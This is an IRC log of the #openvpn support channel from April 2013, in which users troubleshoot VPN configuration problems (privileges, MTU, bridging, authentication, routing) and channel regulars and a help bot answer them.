18:38 -!- havoc [~havoc@neptune.chaillet.net] has quit [Read error: Operation timed out]
18:40 -!- havoc [~havoc@neptune.chaillet.net] has joined #openvpn
19:14 -!- LunixA340 [~Lunix@141.72.103.87.rev.vodafone.pt] has joined #openvpn
19:14 -!- LunixA340 [~Lunix@141.72.103.87.rev.vodafone.pt] has quit [Client Quit]
19:18 -!- LunixA380 [~Lunix@199.58.84.36] has quit [Ping timeout: 245 seconds]
19:18 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
19:25 -!- Cpt-Oblivious [~cpt-obliv@a202101.upc-a.chello.nl] has quit [Read error: Connection reset by peer]
19:34 -!- freestyler7 [~free@ppp046176122187.access.hol.gr] has joined #openvpn
19:35 -!- smerz [~smerz@a177088.upc-a.chello.nl] has quit [Ping timeout: 245 seconds]
19:36 < freestyler7> hello. i changed the user/group the openvpn is running to a normal user instead of root. When i close openvpn i get some permissions erros
19:36 < freestyler7> Thu Apr 11 03:34:38 2013 /usr/sbin/ip route del 10.8.0.0/24
19:36 < freestyler7> RTNETLINK answers: Operation not permitted
19:37 < freestyler7> is there a way to run openvpn with reduced privileges while being able to exit cleanly? (use the ip binary)
19:41 -!- lickalott_ [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
19:42 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Read error: Operation timed out]
19:46 -!- raidz is now known as raidz_away
19:47 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
19:55 -!- u0m3 [~Radu@92.80.73.197] has quit [Read error: Connection reset by peer]
20:17 -!- Poster [~poster@cpe-173-88-30-149.columbus.res.rr.com] has joined #openvpn
20:21 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
20:22 -!- shutin [~ks@unaffiliated/shutin] has joined #openvpn
20:24 < shutin> hi, i'm trying to setup openvpn from android to an OpenWRT router. Can anyone please tell me the best client app to use? Do I want to use tap or tun? I understand that I need to use OpenVPN Installer for tap, and it's installed
20:24 -!- freestyler7 [~free@ppp046176122187.access.hol.gr] has left #openvpn ["WeeChat 0.4.0"]
20:25 < shutin> it keeps saying "write UDPv4 [ECONNREFUSED] Operation not permitted (code=1)
20:26 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
20:26 < shutin> I've been following the instructions on the openwrt wiki exactly
20:27 < shutin> !welcome
20:27 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
20:27 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
20:37 -!- swiftkey_ is now known as swiftkey
20:37 -!- swiftkey [swiftkey@2a01:7e00::f03c:91ff:feae:714e] has quit [Changing host]
20:37 -!- swiftkey [swiftkey@unaffiliated/swiftkey] has joined #openvpn
20:38 < shutin> !howto
20:38 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
20:52 -!- pcdummy is now known as Fast[BDC]
21:07 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
21:23 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has joined #openvpn
21:33 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has quit [Quit: Leaving]
21:34 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has joined #openvpn
21:35 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has quit [Read error: Connection reset by peer]
21:35 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has joined #openvpn
21:51 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:53 -!- xbanux1 [~xbanux@triband-mum-59.182.182.3.mtnl.net.in] has joined #openvpn
22:06 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
22:08 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
22:22 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
22:22 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
22:26 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 252 seconds]
22:40 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
22:54 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit []
22:56 -!- Fast[BDC] is now known as pcdummy
22:58 < FluxD> Hey all, can anyone confirm if this is the client config for a bridged setup or not?
22:58 < FluxD> http://www.pastebin.ca/2355382
23:02 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
23:02 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
23:02 -!- Thermi [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has quit [Ping timeout: 252 seconds]
23:04 -!- Thermi [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
23:17 -!- brute11k [~brute@89.249.231.236] has joined #openvpn
23:57 -!- xbanux1 [~xbanux@triband-mum-59.182.182.3.mtnl.net.in] has quit []
23:59 -!- jtrucks is now known as skynet
23:59 -!- skynet is now known as jtrucks
--- Day changed Thu Apr 11 2013
00:05 <@Eugene> FluxD - I can confirm that it's an invalid paste ID
00:05 < FluxD> Eugene, sorry I set it to expire, let me repaste
00:07 -!- lirime [~liriel@cinnabar.feralhosting.com] has joined #openvpn
00:08 < lirime> Hi - I am running OpenVPN in linux, but I want to exlude traffic on one port from going over the vpn
00:08 < lirime> I think I need to use iptables for this but not sure how. Anyone able to help?
00:10 <@Eugene> You want the client to not send the port via the VPN, or you want the server to deny clients from sending the port?
00:10 < FluxD> Eugene, http://www.pastebin.ca/2355432
00:11 < lirime> I want the client to not send the port via VPN
00:11 <@Eugene> !routebyapp
00:11 <@vpnHelper> "routebyapp" is if you want to send only certain apps over the VPN you need to run a socks server on the internal VPN subnet (see !sockd) then get an app like proxifier (windows, osx) or tsocks (linux, BSD) to selectively route traffic over the socks proxy based on port/app/subnet or any combination.
00:11 <@Eugene> FluxD - looks like static-key, routed mode, using a tap device
00:12 < FluxD> Eugene, I am trying to setup the server for that config, can you check if this will work?
00:12 < FluxD> It looked like bridging to me, did I get that wrong?
00:12 <@Eugene> FluxD - it looks like it ought to, but I recommend you reead the howto
00:13 -!- pcdummy is now known as Fast[BDC]
00:14 -!- tharkun [~0@unaffiliated/tharkun] has quit [Ping timeout: 264 seconds]
00:17 < FluxD> Eugene, yea I read the howto, no luck lol, pastebinning my server.conf
00:18 <@Eugene> I'm off to bed. ;-)
00:18 < lirime> nn Eugene
00:19 < FluxD> nn Eugene
00:19 -!- systemd0wn [~systemd0w@c-98-212-79-26.hsd1.il.comcast.net] has quit []
00:19 < FluxD> If anyone wants to help server config: http://www.pastebin.ca/2355439 client config: http://www.pastebin.ca/2355432
00:21 -!- tharkun [~0@187.188.166.5] has joined #openvpn
00:21 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
00:21 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
00:29 -!- shutin [~ks@unaffiliated/shutin] has quit [Ping timeout: 245 seconds]
00:56 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
00:57 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Client Quit]
01:02 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
01:02 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Client Quit]
01:02 -!- Rienzilla [rien@sinas.rename-it.nl] has quit [Read error: Operation timed out]
01:02 -!- Rienzilla [rien@sinas.rename-it.nl] has joined #openvpn
01:03 -!- JackWinter [~jack@vodsl-9778.vo.lu] has quit [Excess Flood]
01:03 -!- JackWinter [~jack@vodsl-9778.vo.lu] has joined #openvpn
01:08 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
01:09 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
01:10 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
01:12 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Ping timeout: 245 seconds]
01:18 -!- cherwin [~cherwin@robin.teqnix.nl] has quit [Read error: Operation timed out]
01:21 -!- cherwin [~cherwin@robin.teqnix.nl] has joined #openvpn
01:27 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
01:29 <@krzee> FluxD, why are you bridging?
01:29 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
01:30 <@krzee> !whybridge
01:30 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting
01:31 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:33 <@krzee> also, your pastebins expired
01:45 -!- JackWinter [~jack@vodsl-9778.vo.lu] has quit [Quit: ZNC - http://znc.in]
01:47 -!- JackWinter [~jack@vodsl-9778.vo.lu] has joined #openvpn
01:51 -!- JackWinter [~jack@vodsl-9778.vo.lu] has left #openvpn ["Konversation terminated!"]
02:09 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
02:10 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
02:12 -!- JackWinter [~jack@vodsl-9778.vo.lu] has joined #openvpn
02:19 -!- madroach [fu5vzpk9xh@stgt-d9be5b77.pool.mediaWays.net] has joined #openvpn
02:21 -!- jzaw [~jzaw@revo.dzki.co.uk] has quit [Remote host closed the connection]
02:22 -!- Poster [~poster@cpe-173-88-30-149.columbus.res.rr.com] has quit [Remote host closed the connection]
02:25 < madroach> Hi, I'm having a hard time understanding how the MTU configuration is supposed to work.
02:25 < madroach> Does OpenVPN even have a fixed overhead??
02:26 < madroach> If not, how can setting the mtu on the tun device or even the mss-fix possibly work?
02:29 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
02:31 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Ping timeout: 256 seconds]
02:35 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
02:38 -!- jzaw [~jzaw@revo.dzki.co.uk] has joined #openvpn
02:45 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
02:48 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn
02:48 < pekster> madroach: Ideally you let the IP stack handle PMTU discovery or UDP fragmentation, but failing that you generally want --fragment, which sets a cap on the size of the UDP data sent over the physical link (note this excludes the UDP and all lower-level headers)
02:49 < pekster> The overhead is known in advance for data channel packets, although the resulting packet size can vary if --comp-lzo is enabled
02:52 < madroach> pekster: I have comp-lzo off. Still I observe varying sizes of udp packets when sending ping echo requests of different sizes.
02:52 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
02:52 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
03:01 -!- Champi [Champi@rootshell.fr] has quit [Remote host closed the connection]
03:05 -!- Champi [Champi@rootshell.fr] has joined #openvpn
03:10 < madroach> hmm after a second test it seems like the resulting packet sizes seem to be modulo keysize plus constant.
03:11 < madroach> The can only grow/shrink in blocks of keysize bits :)
03:14 < pekster> Right, perhaps I should have clarified that "known in advance" doesn't mean "proportional to plaintext input" ;)
03:17 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Remote host closed the connection]
03:17 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has joined #openvpn
03:17 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has quit [Changing host]
03:17 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
03:22 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
03:22 < madroach> pekster: I understood this implication, therefore I managed to find the right mtu :)
03:24 < pekster> Hopefully MTU issues (overall, not just with openvpn) get better as IPv6 adoption goes up and it's L3's job to do it properly
03:25 < pekster> Remind me of that in 10 years. I'll either smile happily, or shake my head
03:38 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Remote host closed the connection]
03:38 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has joined #openvpn
03:38 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has quit [Changing host]
03:38 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
03:45 -!- ade_b [~Ade@koln-5d815e0e.pool.mediaWays.net] has joined #openvpn
03:45 -!- ade_b [~Ade@koln-5d815e0e.pool.mediaWays.net] has quit [Changing host]
03:45 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:46 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Read error: No route to host]
03:48 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
03:49 -!- kubbing_ [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
03:52 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Ping timeout: 256 seconds]
04:12 -!- ravel_exe [ravel_exe@210.195.232.217] has joined #openvpn
04:15 -!- kls [~kls@198.211.125.123] has joined #openvpn
04:19 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
04:21 -!- kubbing_ [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Read error: Operation timed out]
04:24 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
04:26 -!- ravel_exe [ravel_exe@210.195.232.217] has quit [Read error: Connection timed out]
04:26 -!- ravel_exe [~ravel_exe@210.195.232.217] has joined #openvpn
04:28 -!- dvl- [~dan@nyi.unixathome.org] has joined #openvpn
04:37 -!- kls [~kls@198.211.125.123] has quit [Ping timeout: 264 seconds]
04:37 -!- brute11k1 [~brute@89.249.231.236] has joined #openvpn
04:41 -!- brute11k [~brute@89.249.231.236] has quit [Ping timeout: 264 seconds]
04:41 -!- ravel_exe [~ravel_exe@210.195.232.217] has quit [Ping timeout: 276 seconds]
04:44 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
05:03 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Remote host closed the connection]
05:04 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has joined #openvpn
05:04 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has quit [Changing host]
05:04 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
05:07 -!- civillian [~nick@174.202.49.122-static.velocitynet.com.au] has quit [Ping timeout: 256 seconds]
05:16 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
05:18 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
05:19 -!- civillian [~nick@174.202.49.122-static.velocitynet.com.au] has joined #openvpn
05:23 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Ping timeout: 256 seconds]
05:23 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
05:36 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
05:45 -!- brute11k [~brute@89.249.231.236] has joined #openvpn
05:46 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Remote host closed the connection]
05:46 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has joined #openvpn
05:46 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has quit [Changing host]
05:46 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
05:47 -!- brute11k1 [~brute@89.249.231.236] has quit [Ping timeout: 245 seconds]
05:48 -!- franks2_ [~frank@91.229.143.143] has joined #openvpn
05:50 < madroach> :)
05:50 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
05:52 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has left #openvpn []
05:54 -!- brute11k [~brute@89.249.231.236] has quit [Ping timeout: 252 seconds]
05:57 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has quit [Quit: Leaving]
06:23 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
06:24 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
07:13 -!- _methods [~minotaur@192.81.210.43] has left #openvpn []
07:31 -!- master_o1_master [~master_of@p4FF24F03.dip.t-dialin.net] has joined #openvpn
07:32 -!- Poster [~poster@cpe-173-88-30-149.columbus.res.rr.com] has joined #openvpn
07:34 -!- master_of_master [~master_of@p4FF24D54.dip.t-dialin.net] has quit [Ping timeout: 256 seconds]
07:37 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
07:40 -!- AndrewX192 [~andrew@unaffiliated/andrewx192] has quit [Ping timeout: 264 seconds]
07:40 -!- AndrewX192 [~andrew@unaffiliated/andrewx192] has joined #openvpn
07:48 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
07:52 -!- Eugene [eugene@madeitwor.se] has quit [Ping timeout: 245 seconds]
07:53 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has left #openvpn []
07:54 -!- Eugene [eugene@madeitwor.se] has joined #openvpn
08:07 < cnf> is there an easy way to use username / password auth, instead of certs?
08:08 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 256 seconds]
08:10 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
08:14 <@ecrist> yes
08:14 -!- julius_ [~14354s@141.41.92.122] has joined #openvpn
08:14 < julius_> hi
08:14 <@ecrist> setup PAM, enable the plugin
08:14 <@ecrist> we still recommend certs, though
08:15 < julius_> ive used openvpn on my old win7 install but i dont remember downloading a
08:15 < julius_> sry
08:15 < cnf> ecrist: not pam, just from a file or something simple
08:15 <@ecrist> you could write a script that read from a file, sure
08:15 < julius_> ive used openvpn on my old win7 install but i dont remember downloading OpenVPN-AS_1.6.1_VHD.zip  which is linked on openvpn.com    it was something much smaler, or is this now the recommended version?
08:16 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
08:16 < cnf> ecrist:  and how do i supply the username / password in the client config?
08:16 < rob0> !as
08:16 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
08:16 <@ecrist> julius_: click on community from the main page
08:16 <@ecrist> you don't want AS
08:16 <@ecrist> cnf: you don't
08:16 < cnf> hmz
08:17 < cnf> then it's not much use
08:17 <@ecrist> if you're just trying to avoid certs, quit being lazy and set them up
08:17 <@ecrist> !ssl-admin
08:17 <@vpnHelper> "ssl-admin" is (#1) if you use freebsd, it is in ports or (#2) svn co https://www.secure-computing.net/svn/trunk/ssl-admin to grab it from svn or (#3) A perl script for managing SSL certificates (being a CA). Makes a good replacement for easy-rsa
08:17 <@ecrist> that does all the work for you
08:17 < cnf> ecrist: i don't even run encryption
08:17 < cnf> i don't care for certs
08:18 < cnf> and i have little urge to set them up for a few thousand clients
08:18 <@ecrist> then why bother with user/pass?
08:18 < cnf> because i need to know which client is connecting, that's about it
08:18 <@ecrist> good luck
08:19 < julius_> ecrist, ok...looks like the windows gui isnt included. how do i start the connection?
08:19 < rob0> cnf, with a few thousand clients and an aversion to SSL certificates, perhaps you should look at other VPN software.
08:19 < cnf> rob0: why?
08:20 <@ecrist> julius_: it is included, look harder
08:20 < cnf> because ipsec is so good at doing layer2?
08:20 <@ecrist> !download
08:20 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
08:20 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
08:20 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Ping timeout: 256 seconds]
08:21 < julius_> ecrist, yes theres a shortcut in the start menu but it tells me that it couldnt create some registry key. i installed some other openvpn package before...lets see if that can be uninstalled
08:22 -!- julius_ [~14354s@141.41.92.122] has quit [Read error: Connection reset by peer]
08:24 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 260 seconds]
08:25 -!- Perun [perun@chao5.net] has quit [Ping timeout: 248 seconds]
08:26 -!- Perun [perun@chao5.net] has joined #openvpn
08:27 -!- erry [erry@freenode/staff/erry] has quit [Quit: Cute overflow]
08:27 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:27 -!- erry_ [erry@freenode/staff/erry] has joined #openvpn
08:28 -!- erry_ is now known as erry
08:32 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Client Quit]
08:33 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
08:33 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:35 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
08:36 -!- brute11k [~brute@89.249.235.220] has joined #openvpn
08:46 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
08:48 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:56 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
09:04 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
09:16 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-hxruxceetaeohwvv] has quit [Ping timeout: 240 seconds]
09:17 -!- Netsplit *.net <-> *.split quits: Sickness\, JPeterson, Poster, b00gz_, master_o1_master, Masxmasx, MeanderingCode, ponyofdeath, Perun, scoates,  (+1 more, use /NETSPLIT to show all of them)
09:17 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-ctbcworpkxlktbdl] has joined #openvpn
09:18 -!- Netsplit over, joins: JPeterson
09:19 -!- Netsplit over, joins: MeanderingCode, master_o1_master, Perun, Poster, ponyofdeath, Sickness\, scoates, b00gz_, pulz, Masxmasx
09:20 -!- joyindescribable [~identd@unaffiliated/joyindescribable] has joined #openvpn
09:21 -!- emilv [emilv@emilv.irc.is] has joined #openvpn
09:21 -!- emilv [emilv@emilv.irc.is] has left #openvpn []
09:24 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Remote host closed the connection]
09:27 < joyindescribable> okay, i know this is going to be vague, but i've had some speed problems crop up lately with openvpn. originally the link was at near wirespeed, and at some point it dropped to 1/10th wirespeed. i'm having trouble pinpointing the cause of this, so i was hoping to get a general idea of what will affect openvpn's speed
09:27 < joyindescribable> i've been messing with MTU, though i'm not sure i'm doing it right. i've also tried disabling compression and encryption.
09:28 < joyindescribable> neither machine rises above ~10% cpu usage, so as far as i know it's not a cpu issue.
09:31 < joyindescribable> i'm going to go back to fiddling with the vpn, if anyone can help please highlight me.
09:40 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
09:41 <@dazo> joyindescribable: using TCP or UDP?  Tried to switch that?
09:41 <@dazo> !gigabit
09:41 <@vpnHelper> "gigabit" is https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux for JJK's writeup on getting the most out of openvpn over gigabit
09:41 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
09:42 <@dazo> joyindescribable: you might find a few more clues in that wiki page too ^^^  ... even though that's more for performance testing, but you might be able to understand better how the pieces fits together
09:44 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 248 seconds]
09:47 < joyindescribable> dazo: udp, tried tcp, it performed even worse, somehow. atm i'm messing with MTU stuff. thanks for the link!
09:47 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
09:54 < timmmaaaayyy> anyone know where openvpn logs are on android?  using the official openvpn app
09:59 <@plaisthos> timmmaaaayyy: i think the app has a log window
10:00 < timmmaaaayyy> i need to email it.  the app lets me view, but not copy/paste.  and it doesn't show the log location
10:03 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
10:03 -!- Boichev [~Boichev@31.13.221.124] has joined #openvpn
10:04 < Boichev> what can be the cause of Openvpn running on centos 6 to produce 0 byte client crt file and normal key file ? The server crt file is fine ......
10:07 < rob0> Perhaps this is a nitpick, but I think it's significant to note that openvpn does not produce certificates. That's openssl, usually through some kind of frontend app.
10:08 < Boichev> I use the easy-rsa wrapper
10:09 <@plaisthos> timmmaaaayyy: It is probably not logged into a file anyway
10:10 -!- parmegv [U2FsdGVkX1@ma.sdf.org] has quit [Ping timeout: 240 seconds]
10:19 -!- raidz_away is now known as raidz
10:21 -!- mattock is now known as mattock_afk
10:22 <@plaisthos> timmmaaaayyy: The OpenVPN for Android client allows you to copy the log
10:26 -!- d33tah [~d33tah@212.191.72.35] has joined #openvpn
10:26 -!- d33tah_ [~d33tah@212.191.72.35] has quit [Ping timeout: 256 seconds]
10:30 < timmmaaaayyy> how?
10:35 <@plaisthos> timmmaaaayyy: the unoffical has a share button in the log window
10:46 -!- Thermi [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has quit [Ping timeout: 248 seconds]
10:50 -!- Thermi [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
10:52 -!- mattock_afk is now known as mattock
10:54 -!- eutheria [~eutheria@cpc24-cmbg15-2-0-cust120.5-4.cable.virginmedia.com] has joined #openvpn
10:56 -!- mementomori [~mementomo@unaffiliated/mementomori] has joined #openvpn
10:56 < mementomori> hi all
10:58 < mementomori> I've a openvpn server running fine. I've a multihomed windows 2008 server which should create a vpn tunnel and operate as a vpn client.
10:59 < mementomori> the tunnel is created and the virtual tap adapter get its ip address correctly from the server.
11:00 < mementomori> the problem is I cant ping the openvpn server and cant connect to its services
11:00 < mementomori> I think I miss some route but I cant figure out which ones....
11:00 < mementomori> any help?
11:01 < Eugene> !configs
11:01 < Eugene> !logs
11:01 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
11:01 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
11:01 < Eugene> mementomori ^
11:03 < mementomori> this is the config: http://pastebin.com/mN7SPNyW
11:04 < Eugene> !redact
11:04 <@vpnHelper> "redact" is Please don't redact or change things(hostname, port, CNs, etc) when you !paste your !configs and !logs. It's a lot easier for us to debug if we're seeing the same thing you are.
11:04 < Eugene> And server config is needed too
11:06 < mementomori> this is the client network configuration http://pastebin.com/xV4gh89F
11:07 < mementomori> Eugene, the server is fine 'cause I can connect to it using other clients using the same conf
11:07 < mementomori> Eugene, do you still need it?
11:07 < Eugene> I'm sure you think so, but you're not the expert here ;-)
11:08 < mementomori> Eugene, you are right
11:08 < Eugene> !EugeneKay
11:08 <@vpnHelper> "EugeneKay" is right because EugeneKay is always right.
11:09 -!- joyindescribable [~identd@unaffiliated/joyindescribable] has quit [Quit: joyindescribable]
11:09 -!- vpopov [~happylife@dyn-32-176.fttbee.kis.ru] has joined #openvpn
11:11 < mementomori> and this is the server conf http://pastebin.com/gvHZ9iFc
11:13 < mementomori> I hope the problem is something easy for you to spot...
11:13 < mementomori> Eugene, should I provide any other info?
11:13 < Eugene> !logs
11:14 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
